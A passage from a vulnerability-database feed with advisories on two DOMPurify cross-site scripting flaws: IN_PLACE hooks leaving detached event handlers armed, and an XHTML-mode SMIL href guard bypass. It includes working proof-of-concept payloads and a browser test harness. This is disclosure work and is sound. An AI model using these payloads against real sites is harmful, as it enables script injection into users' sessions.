(`dist/purify.cjs.js` line 2009 in 3.4.16), `_handleHookDetachedNode()`:\n\n```js\nif (currentNode === root || getParentNode(currentNode) !== null) {\n  return false;\n}\nif (IN_PLACE) {\n  _neutralizeSubtree(currentNode);\n}\n```\n\nIt only checks whether `currentNode` lost its parent. When a hook removes `currentNode.parentNode` (or any ancestor), `currentNode` still has a parent, so nothing happens. The rest of the removed subtree is no longer reachable by the walker, and it is not in `DOMPurify.removed`, so the post walk pass does not see it either. The same happens when a hook removes a later sibling. This applies to all five element and attribute hooks.\n\n### PoC (jsdom)\n\n```js\nconst { JSDOM } = require('jsdom')\nconst createDOMPurify = require('dompurify')\nconst win = new JSDOM('\u003c!doctype html\u003e\u003cbody\u003e\u003c/body\u003e').window\nconst doc = win.document\n\nfor (const mode of ['self', 'parent', 'nextSibling']) {\n  const DOMPurify = createDOMPurify(win)\n  doc.body.innerHTML = '\u003cdiv id=root\u003e\u003cfigure\u003e\u003cimg class=bad src=a.png\u003e' +\n    '\u003cimg id=evil src=x onerror=alert(1)\u003e\u003c/figure\u003e\u003cp\u003eok\u003c/p\u003e\u003c/div\u003e'\n  const root = doc.getElementById('root')\n  const evil = doc.getElementById('evil')\n\n  // app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling)\n  DOMPurify.addHook('afterSanitizeAttributes', (node) =\u003e {\n    if (node.getAttribute \u0026\u0026 node.getAttribute('class') === 'bad') {\n      if (mode === 'self') node.remove()\n      if (mode === 'parent') node.parentNode.remove()\n      if (mode === 'nextSibling') node.nextElementSibling.remove()\n    }\n  })\n\n  DOMPurify.sanitize(root, { IN_PLACE: true })\n  console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror')))\n}\n```\n\nOutput on 3.4.16:\n\n```\n3.4.16 self        onerror = null\n3.4.16 parent      onerror = \"alert(1)\"\n3.4.16 nextSibling onerror = \"alert(1)\"\n```\n\nIn `self` mode the walker still reaches the second image and strips `onerror`. In the other two modes the second image is detached with its handler still set. The same result is achieved with each of `beforeSanitizeElements`, `uponSanitizeElement`, `afterSanitizeElements`, `beforeSanitizeAttributes` and `afterSanitizeAttributes`.\n\n### PoC (browser)\n\nThe same thing in a real page, served from 127.0.0.1 and opened in Chromium:\n\n```html\n\u003c!doctype html\u003e\u003cmeta charset=utf-8\u003e\n\u003cscript src=\"purify.min.js\"\u003e\u003c/script\u003e\n\u003cbody\u003e\u003cpre id=log\u003e\u003c/pre\u003e\n\u003cscript\u003e\nwindow.fired = [];\nfunction run(mode) {\n  const D = DOMPurify(window);\n  D.addHook('afterSanitizeAttributes', n =\u003e {\n    if (n.getAttribute \u0026\u0026 n.getAttribute('class') === 'bad') {\n      if (mode === 'parent') n.parentNode.remove();\n      if (mode === 'self') n.remove();\n    }\n  });\n  const root = document.createElement('div');\n  document.body.appendChild(root);\n  root.innerHTML = '\u003cfigure\u003e\u003cimg class=bad src=data:,\u003e\u003cimg src=x onerror=\"fired.push(\\'' + mode + '\\')\"\u003e\u003c/figure\u003e\u003cp\u003eok\u003c/p\u003e';\n  D.sanitize(root, { IN_PLACE: true });\n  return root.outerHTML;\n}\nconst a = run('self'), b = run('parent');\nsetTimeout(() =\u003e {\n  document.getElementById('log').textContent =\n    'version=' + DOMPurify.version + '\\nself out=' + a + '\\nparent out=' + b + '\\nfired=' + JSON.stringify(fired);\n}, 1500);\n\u003c/script\u003e\n```\n\nResult on 3.4.16:\n\n```\nversion=3.4.16\nself out=\u003cdiv\u003e\u003cfigure\u003e\u003cimg src=\"x\"\u003e\u003c/figure\u003e\u003cp\u003eok\u003c/p\u003e\u003c/div\u003e\nparent out=\u003cdiv\u003e\u003cp\u003eok\u003c/p\u003e\u003c/div\u003e\nfired=[\"parent\"]\n```\n\nThe returned tree is clean in both cases, but the handler on the detached image runs in the page for `parent`.\n\n### Impact\n\nAn app that uses `IN_PLACE` with a hook that removes a wrapper or a nearby element (for example \"drop the whole `\u003cfigure\u003e` if its image is not allowed\") gets DOM XSS from attacker markup after `sanitize()` returns. It needs that kind of hook, so it falls under \"input plus an application choice\" in SECURITY.md, but it breaks the guarantee the README gives for hook detached nodes and is the same pattern as GHSA-55q2-fjhq-7xh7 and GHSA-p98j-92pf-mc4p.\n\n### Suggested fix\n\nInstead of only checking `currentNode`, check after each hook call whether anything outside the current node was detached. Two simple options:\n\n- before calling a hook in `IN_PLACE` mode, remember the next node the walker will visit and the current node's ancestors; after the hook, neutralize any of them that are no longer attached under `root`\n- or, after the walk, neutralize every element that was in the original tree but is no longer connected to `root` (for example by collecting the elements before the walk)","status":"published","published":"2026-10-22T16:24:52Z","modified":"2026-10-22T16:24:53Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-79","CWE-693"],"updated_at":"2026-11-02T14:41:34.690842Z"},{"id":"GHSA-c6gr-qvv4-5v3f","title":"DOMPurify: SMIL attributeName=href guard is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml","description":"### Summary\n\nDOMPurify drops `attributeName` attributes whose value contains `href`, so an allowed `\u003canimate\u003e` or `\u003cset\u003e` can't rewrite a link's href after sanitizing. The check compares the attribute name after `transformCaseFunc`, and that function doesn't lowercase in XHTML mode. In XHTML the attribute is spelled `attributeName`, so the comparison with `\"attributename\"` never matches and the guard does nothing.\n\nAn app that uses `PARSER_MEDIA_TYPE: 'application/xhtml+xml'` and allows `animate` and `attributeName` will keep `\u003canimate attributeName=\"href\" values=\"x;javascript:alert(1)\"\u003e`. Clicking the parent link then runs the script.\n\nThis needs a non-default config, so going by SECURITY.md, this is a hardening bug rather than a bypass of the default config.\n\n### Details\n\nIn `_sanitizeAttributes` (dist/purify.js line 2216 in 3.4.16):\n\n```js\nconst lcName = transformCaseFunc(name);\n...\nif (lcName === \"attributename\" \u0026\u0026 stringMatch(value, \"href\")) {\n  _removeAttribute(name, currentNode, attr);\n  continue;\n}\n```\n\n`transformCaseFunc` is `stringToLowerCase` for text/html but the identity function for application/xhtml+xml, because XML names are case-sensitive. The XML parser keeps SVG's real name `attributeName`, so in XHTML mode `lcName` is `attributeName` and the branch never runs.\n\nPeople using XHTML mode have to list SVG attributes in camelCase. The built-in attribute lists are lowercase and won't match, so `ALLOWED_ATTR`/`ADD_ATTR: ['attributeName', ...]` is the config you'd naturally write here.\n\nThe value also passes the URI check. `IS_ALLOWED_URI` only checks the start of the string, and `x;javascript:alert(1)` looks like a relative value. SMIL reads `values` as a `;` list and, with `fill=\"freeze\"`, the last entry ends up as the effective href of the parent `\u003ca\u003e`.\n\nIn text/html mode the same allowlist is handled correctly. The name is lowercased and `attributeName` is removed.\n\nThis is close to the XHTML case-sensitivity hardening in 3.4.14/3.4.15 (Attack Classes \u0026 Bypass History §22): a check written for lowercase names that a case-preserved name gets past.\n\n### Proof of concept\n\nTested with DOMPurify 3.4.16 in Chrome 153 (headless shell). Also reproduced on 3.3.3, 3.3.1 and 3.2.7. Not confirmed for 2.x.\n\nConfig:\n\n```js\nconst cfg = {\n  PARSER_MEDIA_TYPE: 'application/xhtml+xml',\n  ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],\n  ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],\n};\n```\n\n`{ PARSER_MEDIA_TYPE: 'application/xhtml+xml', USE_PROFILES: { svg: true }, ADD_TAGS: ['animate'], ADD_ATTR: ['attributeName'] }` behaves the same.\n\nInput:\n\n```html\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"60\"\u003e\u003ca id=\"q\"\u003e\u003canimate attributeName=\"href\" values=\"x;javascript:alert(1)\" dur=\"0.01s\" fill=\"freeze\"/\u003e\u003ctext x=\"10\" y=\"40\" font-size=\"30\"\u003eclick\u003c/text\u003e\u003c/a\u003e\u003c/svg\u003e\n```\n\nSteps:\n\n1. Save this as `poc.xhtml` next to `purify.js` (3.4.16) and open it in Chrome. The `.xhtml` extension makes Chrome load it as application/xhtml+xml, so nothing moves between HTML and XHTML.\n\n```html\n\u003chtml xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003chead\u003e\u003ctitle\u003epoc\u003c/title\u003e\n\u003cscript src=\"purify.js\"\u003e\u003c/script\u003e\u003c/head\u003e\u003cbody\u003e\u003cdiv id=\"sink\"\u003e\u003c/div\u003e\n\u003cscript\u003e//\u003c![CDATA[\nconst cfg = {\n  PARSER_MEDIA_TYPE: 'application/xhtml+xml',\n  ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],\n  ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],\n};\nconst dirty = '\u003csvg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"60\"\u003e\u003ca id=\"q\"\u003e\u003canimate attributeName=\"href\" values=\"x;javascript:alert(1)\" dur=\"0.01s\" fill=\"freeze\"/\u003e\u003ctext x=\"10\" y=\"40\" font-size=\"30\"\u003eclick\u003c/text\u003e\u003c/a\u003e\u003c/svg\u003e';\nconst clean = DOMPurify.sanitize(dirty, cfg);\nconsole.log(clean);\ndocument.getElementById('sink').innerHTML = clean;\n//]]\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e\n```\n\n2. The logged output still contains `attributeName=\"href\"` and `values=\"x;javascript:alert(1)\"`.\n3. `document.getElementById('q').href.animVal` returns `\"javascript:alert(1)\"`.\n4. Click \"click\" and `alert(1)` runs.\n\nAs a control, remove `PARSER_MEDIA_TYPE` and change the allowlist entry to `attributename`. The output then loses `attributeName`, `href.animVal` is `\"\"`, and clicking does nothing. The same XHTML-mode output also runs when inserted into a normal text/html page.\n\nAn automated version (fetches a given version from npm, clicks via CDP, checks for the dialog, runs the control) is below.\n\n\u003cdetails\u003e\n\u003csummary\u003epoc.sh\u003c/summary\u003e\n\n```bash\n#!/usr/bin/env bash\n# PoC: DOMPurify SMIL attributeName=href guard bypass in XHTML parser mode.\n#\n# Sanitizes an SVG payload with a PARSER_MEDIA_TYPE:\"application/xhtml+xml\"\n# config that allow-lists \u003canimate\u003e + attributeName, renders the output into\n# div.innerHTML in headless Chromium, clicks the link with a trusted (CDP) mouse\n# event and reports whether alert() fired. Also runs the same allowlist in\n# text/html mode as a control (DOMPurify strips attributeName there).\n#\n# usage:  ./poc.sh [dompurify-version]          (default 3.4.16, fetched via `npm pack`)\n#         DOMPURIFY_JS=/path/to/purify.js ./poc.sh\n#         CHROME=/path/to/chrome ./poc.sh\n# needs:  node \u003e= 18, npm (unless DOMPURIFY_JS is set), a Chromium/Chrome binary.\n# exit:   0 = vulnerable (alert fired in xhtml mode), 1 = not vulnerable, 2 = setup error\nset -euo pipefail\nVER=\"${1:-3.4.16}\"\nWORK=\"$(mktemp -d)\"\ntrap 'rm -rf \"$WORK\"' EXIT\n\nif [ -z \"${DOMPURIFY_JS:-}\" ]; then\n  (cd \"$WORK\" \u0026\u0026 npm pack \"dompurify@$VER\" --silent \u003e/dev/null 2\u003e\u00261 \u0026\u0026 tar xzf dompurify-*.tgz) || { echo \"npm pack dompurify@$VER failed\" \u003e\u00262; exit 2; }\n  DOMPURIFY_JS=\"$WORK/package/dist/purify.js\"\nfi\nif [ -z \"${CHROME:-}\" ]; then\n  for c in \"$HOME\"/.cache/ms-playwright/chromium_headless_shell-*/chrome-headless-shell-linux64/chrome-headless-shell \\\n           \"$HOME\"/.cache/ms-playwright/chromium-*/chrome-linux/chrome \\\n           \"$(command -v google-chrome || true)\" \"$(command -v chromium || true)\" \"$(command -v chromium-browser || true)\"; do\n    [ -n \"$c\" ] \u0026\u0026 [ -x \"$c\" ] \u0026\u0026 CHROME=\"$c\" \u0026\u0026 break\n  done\nfi\n[ -n \"${CHROME:-}\" ] || { echo \"no Chrome/Chromium found; set CHROME=\" \u003e\u00262; exit 2; }\n\ncat \u003e \"$WORK/poc.html\" \u003c\u003c'EOF'\n\u003c!doctype html\u003e\u003cmeta charset=\"utf-8\"\u003e\u003ctitle\u003epoc\u003c/title\u003e\n\u003cscript src=\"purify.js\"\u003e\u003c/script\u003e\n\u003cdiv id=\"sink\"\u003e\u003c/div\u003e\n\u003cscript\u003e//\u003c![CDATA[\nconst payload = '\u003csvg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"60\"\u003e' +\n  '\u003ca id=\"q\"\u003e\u003canimate attributeName=\"href\" values=\"x;javascript:alert(1)\" dur=\"0.01s\" fill=\"freeze\"/\u003e' +\n  '\u003ctext x=\"10\" y=\"40\" font-size=\"30\"\u003eclick\u003c/text\u003e\u003c/a\u003e\u003c/svg\u003e';\nfunction run(mode) {\n  const cfg = {\n    ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],\n    ALLOWED_ATTR: [mode === 'xhtml' ? 'attributeName' : 'attributename', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],\n  };\n  if (mode === 'xhtml') cfg.PARSER_MEDIA_TYPE = 'application/xhtml+xml';\n  const clean = DOMPurify.sanitize(payload, cfg);\n  document.getElementById('sink').innerHTML = clean;\n  return clean;\n}\n//]]\u003e\u003c/script\u003e\nEOF\ncp \"$DOMPURIFY_JS\" \"$WORK/purify.js\"\n# Same test inside a real XHTML document (no HTML\u003c-\u003eXHTML context flip):\n# the page is parsed as application/xhtml+xml and the sink's innerHTML uses the XML fragment parser.\nsed -e 's#\u003c!doctype html\u003e\u003cmeta charset=\"utf-8\"\u003e\u003ctitle\u003epoc\u003c/title\u003e#\u003chtml xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003chead\u003e\u003ctitle\u003epoc\u003c/title\u003e#' \\\n    -e 's#\u003cscript src=\"purify.js\"\u003e\u003c/script\u003e#\u003cscript src=\"purify.js\"\u003e\u003c/script\u003e\u003c/head\u003e\u003cbody\u003e#' \\\n    -e 's#^\u003c/script\u003e$#\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e#' \"$WORK/poc.html\" \u003e \"$WORK/poc.xhtml\"\n\ncat \u003e \"$WORK/drive.js\" \u003c\u003c'EOF'\n// zero-dependency CDP driver over --remote-debugging-pipe\nconst { spawn } = require('child_process');\nconst [chrome, url, dir] = process.argv.slice(2);\nconst xurl = url.replace(/\\.html$/, '.xhtml');\nconst p = spawn(chrome, ['--headless', '--no-sandbox', '--remote-debugging-pipe', '--disable-gpu', '--no-first-run',\n  `--user-data-dir=${dir}/profile`, 'about:blank'], { stdio: ['ignore', 'ignore', 'ignore', 'pipe', 'pipe'] });\nlet id = 0, buf = ''; const pend = new Map(), dialogs = [];\np.stdio[4].on('data', (d) =\u003e {\n  buf += d; let i;\n  while ((i = buf.indexOf('\\0')) \u003e= 0) {\n    const m = JSON.parse(buf.slice(0, i)); buf = buf.slice(i + 1);\n    if (m.id \u0026\u0026 pend.has(m.id)) { pend.get(m.id)(m); pend.delete(m.id); }\n    else if (m.method === 'Page.javascriptDialogOpening') {\n      dialogs.push(m.params.message);\n      send('Page.handleJavaScriptDialog', { accept: true }, m.sessionId);\n    }\n  }\n});\nfunction send(method, params = {}, sessionId) {\n  return new Promise((r) =\u003e { const n = ++id; pend.set(n, r); p.stdio[3].write(JSON.stringify({ id: n, method, params, sessionId }) + '\\0'); });\n}\nconst sleep = (ms) =\u003e new Promise((r) =\u003e setTimeout(r, ms));\n(async () =\u003e {\n  const { result: { targetId } } = await send('Target.createTarget', { url: 'about:blank' });\n  const { result: { sessionId: s } } = await send('Target.attachToTarget', { targetId, flatten: true });\n  await send('Page.enable', {}, s); await send('Runtime.enable', {}, s);\n  const ev = async (e) =\u003e (await send('Runtime.evaluate', { expression: e, returnByValue: true, awaitPromise: true }, s)).result.result.value;\n  let vulnerable = false, xhtmlDoc = false;\n  const ver = async () =\u003e ev('DOMPurify.version');\n  for (const [mode, page] of [['html', url], ['xhtml', url], ['xhtml', xurl]]) {\n    await send('Page.navigate', { url: page }, s); await sleep(500);\n    const docType = await ev('document.contentType');\n    if (mode === 'html') console.log('DOMPurify', await ver(), '/', await ev('navigator.userAgent.match(/Chrome\\\\/[\\\\d.]+/)[0]'));\n    dialogs.length = 0;\n    const clean = await ev(`run(${JSON.stringify(mode)})`);\n    await sleep(400); // let the 0.01s animation apply (fill=freeze)\n    const href = await ev(`(()=\u003e{const a=document.getElementById('q');return a?a.href.animVal:null})()`);\n    const box = await ev(`(()=\u003e{const t=document.querySelector('#sink text');if(!t)return null;const r=t.getBoundingClientRect();return [r.x+r.width/2,r.y+r.height/2]})()`);\n    if (box) for (const type of ['mouseMoved', 'mousePressed', 'mouseReleased'])\n      await send('Input.dispatchMouseEvent', { type, x: box[0], y: box[1], button: 'left', clickCount: 1 }, s);\n    await sleep(800);\n    console.log(`\\n[${mode} mode, sink document ${docType}] sanitized output:\\n  ${clean}`);\n    console.log(`  animated \u003ca\u003e href (animVal): ${JSON.stringify(href)}`);\n    console.log(`  alert() fired on click: ${dialogs.length ? 'YES ' + JSON.stringify(dialogs) : 'no'}`);\n    if (mode === 'xhtml' \u0026\u0026 dialogs.length) vulnerable = true;\n    if (mode === 'xhtml' \u0026\u0026 docType === 'application/xhtml+xml') xhtmlDoc = dialogs.length \u003e 0;\n  }\n  console.log(vulnerable ? `\\nRESULT: VULNERABLE (javascript: executed in XHTML mode; pure-XHTML document sink: ${xhtmlDoc ? 'also executes' : 'no'})` : '\\nRESULT: not vulnerable');\n  p.kill('SIGKILL'); process.exit(vulnerable ? 0 : 1);\n})().catch((e) =\u003e { console.error(e); p.kill('SIGKILL'); process.exit(2); });\nEOF\nnode \"$WORK/drive.js\" \"$CHROME\" \"file://$WORK/poc.html\" \"$WORK\"\n```\n\n\u003c/details\u003e\n\n### Impact\n\nStored or reflected XSS on a click. It affects apps that sanitize SVG in XHTML mode and allow `animate` (or `set`) with `attributeName`, for example to keep simple SVG animations. Script runs in the app's origin when a user clicks the sanitized link. Default configs and text/html mode aren't affected.","status":"published","published":"2026-10-22T16:24:23Z","modified":"2026-10-22T16:24:24Z","cwes":["CWE-79"],"updated_at":"2026-11-02T14:41:34.690842Z"}],"nvd":[{"id":"CVE-2026-116802","description":"DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to bypass the SMIL attributeName=href guard when PARSER_MEDIA_TYPE is application/xhtml+xml, because transformCaseFunc does not lowercase attribute names. Attackers can submit SVG with an animate or set element using attributeName=\"href\" and a javascript: entry in values to execute script when users click the sanitized link.","status":"published","published":"2026-10-27T00:17:11.637Z","modified":"2026-11-05T17:17:44.26Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-05T19:56:07.634341Z"}],"osv":[{"id":"CVE-2026-116802","title":"DOMPurify before 3.4.17 XSS via SMIL attributeName Guard Bypass in XHTML Mode","description":"DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to bypass the SMIL attributeName=href guard when PARSER_MEDIA_TYPE is application/xhtml+xml, because transformCaseFunc does not lowercase attribute names. Attackers can submit SVG with an animate or set element using attributeName=\"href\" and a javascript: entry in values to execute script when users click the sanitized link.","status":"published","published":"2026-10-26T23:05:34.457Z","modified":"2026-11-07T02:30:23.897953571Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-07T03:08:01.156605Z"},{"id":"DEBIAN-CVE-2026-116802","description":"DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to bypass the SMIL attributeName=href guard when PARSER_MEDIA_TYPE is application/xhtml+xml, because transformCaseFunc does not lowercase attribute names. Attackers can submit SVG with an animate or set element using attributeName=\"href\" and a javascript: entry in values to execute script when users click the sanitized link.","status":"published","published":"2026-10-27T00:17:11.637Z","modified":"2026-11-06T17:29:16.215077101Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"updated_at":"2026-11-06T18:00:26.717991Z"},{"id":"GHSA-mrv2-3pqr-j5jr","title":"DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p)","description":"### Summary\n\nThe 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an `IN_PLACE` hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an `\u003cimg onerror\u003e` that was already loading fires after `sanitize()` returns.\n\nThe README says: \"Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an `\u003cimg onload\u003e` that was already loading when you built the live tree cannot fire after `sanitize()` returns.\" That does not hold when the detached node is not the hook's own node.\n\n### Tested versions\n\n- 3.4.16 (latest) and main at 18f8f0e\n- also 3.4.15, 3.4.12 and 2.5.8\n\njsdom for the matrix below, and Chromium (Playwright) for the event actually firing.\n\n### Details\n\n`src/purify.ts` line 2134 (`dist/purify.cjs.js` line 2009 in 3.4.16), `_handleHookDetachedNode()`:\n\n```js\nif (currentNode === root || getParentNode(currentNode) !== null) {\n  return false;\n}\nif (IN_PLACE) {\n  _neutralizeSubtree(currentNode);\n}\n```\n\nIt only checks whether `currentNode` lost its parent. When a hook removes `currentNode.parentNode` (or any ancestor), `currentNode` still has a parent, so nothing happens. The rest of the removed subtree is no longer reachable by the walker, and it is not in `DOMPurify.removed`, so the post walk pass does not see it either. The same happens when a hook removes a later sibling. This applies to all five element and attribute hooks.\n\n### PoC (jsdom)\n\n```js\nconst { JSDOM } = require('jsdom')\nconst createDOMPurify = require('dompurify')\nconst win = new JSDOM('\u003c!doctype html\u003e\u003cbody\u003e\u003c/body\u003e').window\nconst doc = win.document\n\nfor (const mode of ['self', 'parent', 'nextSibling']) {\n  const DOMPurify = createDOMPurify(win)\n  doc.body.innerHTML = '\u003cdiv id=root\u003e\u003cfigure\u003e\u003cimg class=bad src=a.png\u003e' +\n    '\u003cimg id=evil src=x onerror=alert(1)\u003e\u003c/figure\u003e\u003cp\u003eok\u003c/p\u003e\u003c/div\u003e'\n  const root = doc.getElementById('root')\n  const evil = doc.getElementById('evil')\n\n  // app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling)\n  DOMPurify.addHook('afterSanitizeAttributes', (node) =\u003e {\n    if (node.getAttribute \u0026\u0026 node.getAttribute('class') === 'bad') {\n      if (mode === 'self') node.remove()\n      if (mode === 'parent') node.parentNode.remove()\n      if (mode === 'nextSibling') node.nextElementSibling.remove()\n    }\n  })\n\n  DOMPurify.sanitize(root, { IN_PLACE: true })\n  console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror')))\n}\n```\n\nOutput on 3.4.16:\n\n```\n3.4.16 self        onerror = null\n3.4.16 parent      onerror = \"alert(1)\"\n3.4.16 nextSibling onerror = \"alert(1)\"\n```\n\nIn `self` mode the walker still reaches the second image and strips `onerror`. In the other two modes the second image is detached with its handler still set. The same result is achieved with each of `beforeSanitizeElements`, `uponSanitizeElement`, `afterSanitizeElements`, `beforeSanitizeAttributes` and `afterSanitizeAttributes`.\n\n### PoC (browser)\n\nThe same thing in a real page, served from 127.0.0.1 and opened in Chromium:\n\n```html\n\u003c!doctype html\u003e\u003cmeta charset=utf-8\u003e\n\u003cscript src=\"purify.min.js\"\u003e\u003c/script\u003e\n\u003cbody\u003e\u003cpre id=log\u003e\u003c/pre\u003e\n\u003cscript\u003e\nwindow.fired = [];\nfunction run(mode) {\n  const D = DOMPurify(window);\n  D.addHook('afterSanitizeAttributes', n =\u003e {\n    if (n.getAttribute \u0026\u0026 n.getAttribute('class') === 'bad') {\n      if (mode === 'parent') n.parentNode.remove();\n      if (mode === 'self') n.remove();\n    }\n  });\n  const root = document.createElement('div');\n  document.body.appendChild(root);\n  root.innerHTML = '\u003cfigure\u003e\u003cimg class=bad src=data:,\u003e\u003cimg src=x onerror=\"fired.push(\\'' + mode + '\\')\"\u003e\u003c/figure\u003e\u003cp\u003eok\u003c/p\u003e';\n  D.sanitize(root, { IN_PLACE: true });\n  return root.outerHTML;\n}\nconst a = run('self'), b = run('parent');\nsetTimeout(() =\u003e {\n  document.getElementById('log').textContent =\n    'version=' + DOMPurify.version + '\\nself out=' + a + '\\nparent out=' + b + '\\nfired=' + JSON.stringify(fired);\n}, 1500);\n\u003c/script\u003e\n```\n\nResult on 3.4.16:\n\n```\nversion=3.4.16\nself out=\u003cdiv\u003e\u003cfigure\u003e\u003cimg src=\"x\"\u003e\u003c/figure\u003e\u003cp\u003eok\u003c/p\u003e\u003c/div\u003e\nparent out=\u003cdiv\u003e\u003cp\u003eok\u003c/p\u003e\u003c/div\u003e\nfired=[\"parent\"]\n```\n\nThe returned tree is clean in both cases, but the handler on the detached image runs in the page for `parent`.\n\n### Impact\n\nAn app that uses `IN_PLACE` with a hook that removes a wrapper or a nearby element (for example \"drop the whole `\u003cfigure\u003e` if its image is not allowed\") gets DOM XSS from attacker markup after `sanitize()` returns. It needs that kind of hook, so it falls under \"input plus an application choice\" in SECURITY.md, but it breaks the guarantee the README gives for hook detached nodes and is the same pattern as GHSA-55q2-fjhq-7xh7 and GHSA-p98j-92pf-mc4p.\n\n### Suggested fix\n\nInstead of only checking `currentNode`, check after each hook call whether anything outside the current node was detached. Two simple options:\n\n- before calling a hook in `IN_PLACE` mode, remember the next node the walker will visit and the current node's ancestors; after the hook, neutralize any of them that are no longer attached under `root`\n- or, after the walk, neutralize every element that was in the original tree but is no longer connected to `root` (for example by collecting the elements before the walk)","status":"published","published":"2026-10-22T16:24:52Z","modified":"2026-10-27T10:56:05.61345969Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-693","CWE-79"],"updated_at":"2026-11-02T15:46:52.170928Z"},{"id":"UBUNTU-CVE-2026-116802","description":"DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to bypass the SMIL attributeName=href guard when PARSER_MEDIA_TYPE is application/xhtml+xml, because transformCaseFunc does not lowercase attribute names. Attackers can submit SVG with an animate or set element using attributeName=\"href\" and a javascript: entry in values to execute script when users click the sanitized link.","status":"published","published":"2026-10-27T00:17:00Z","modified":"2026-10-28T20:17:46.246941974Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"},{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"updated_at":"2026-11-02T16:56:00.081948Z"},{"id":"CLSA-2026-1792929243","title":"TuxCare security update for dompurify (7 CVEs)","description":"TuxCare rebuilt dompurify to address 7 CVEs. Fixed in 3.0.6-tuxcare.5.","status":"published","published":"2026-10-25T11:54:03Z","modified":"2026-10-27T01:57:59.213574581Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792929353","title":"TuxCare security update for dompurify (2 CVEs)","description":"TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 2.0.8-tuxcare.6.","status":"published","published":"2026-10-25T11:55:53Z","modified":"2026-11-07T19:13:16.108441791Z","updated_at":"2026-11-07T19:21:34.633914Z"},{"id":"CLSA-2026-1792929570","title":"TuxCare security update for dompurify (3 CVEs)","description":"TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 2.3.10-tuxcare.4.","status":"published","published":"2026-10-25T11:59:30Z","modified":"2026-11-07T19:13:14.367104246Z","updated_at":"2026-11-07T19:21:34.633914Z"},{"id":"CLSA-2026-1792929720","title":"TuxCare security update for dompurify (2 CVEs)","description":"TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 2.3.3-tuxcare.4.","status":"published","published":"2026-10-25T12:02:00Z","modified":"2026-10-27T01:58:00.117468458Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792929831","title":"TuxCare security update for dompurify (1 CVE)","description":"TuxCare rebuilt dompurify to address 1 CVE. Fixed in 2.4.0-tuxcare.9.","status":"published","published":"2026-10-25T12:03:51Z","modified":"2026-10-25T13:30:02.338308346Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792929955","title":"TuxCare security update for dompurify (1 CVE)","description":"TuxCare rebuilt dompurify to address 1 CVE. Fixed in 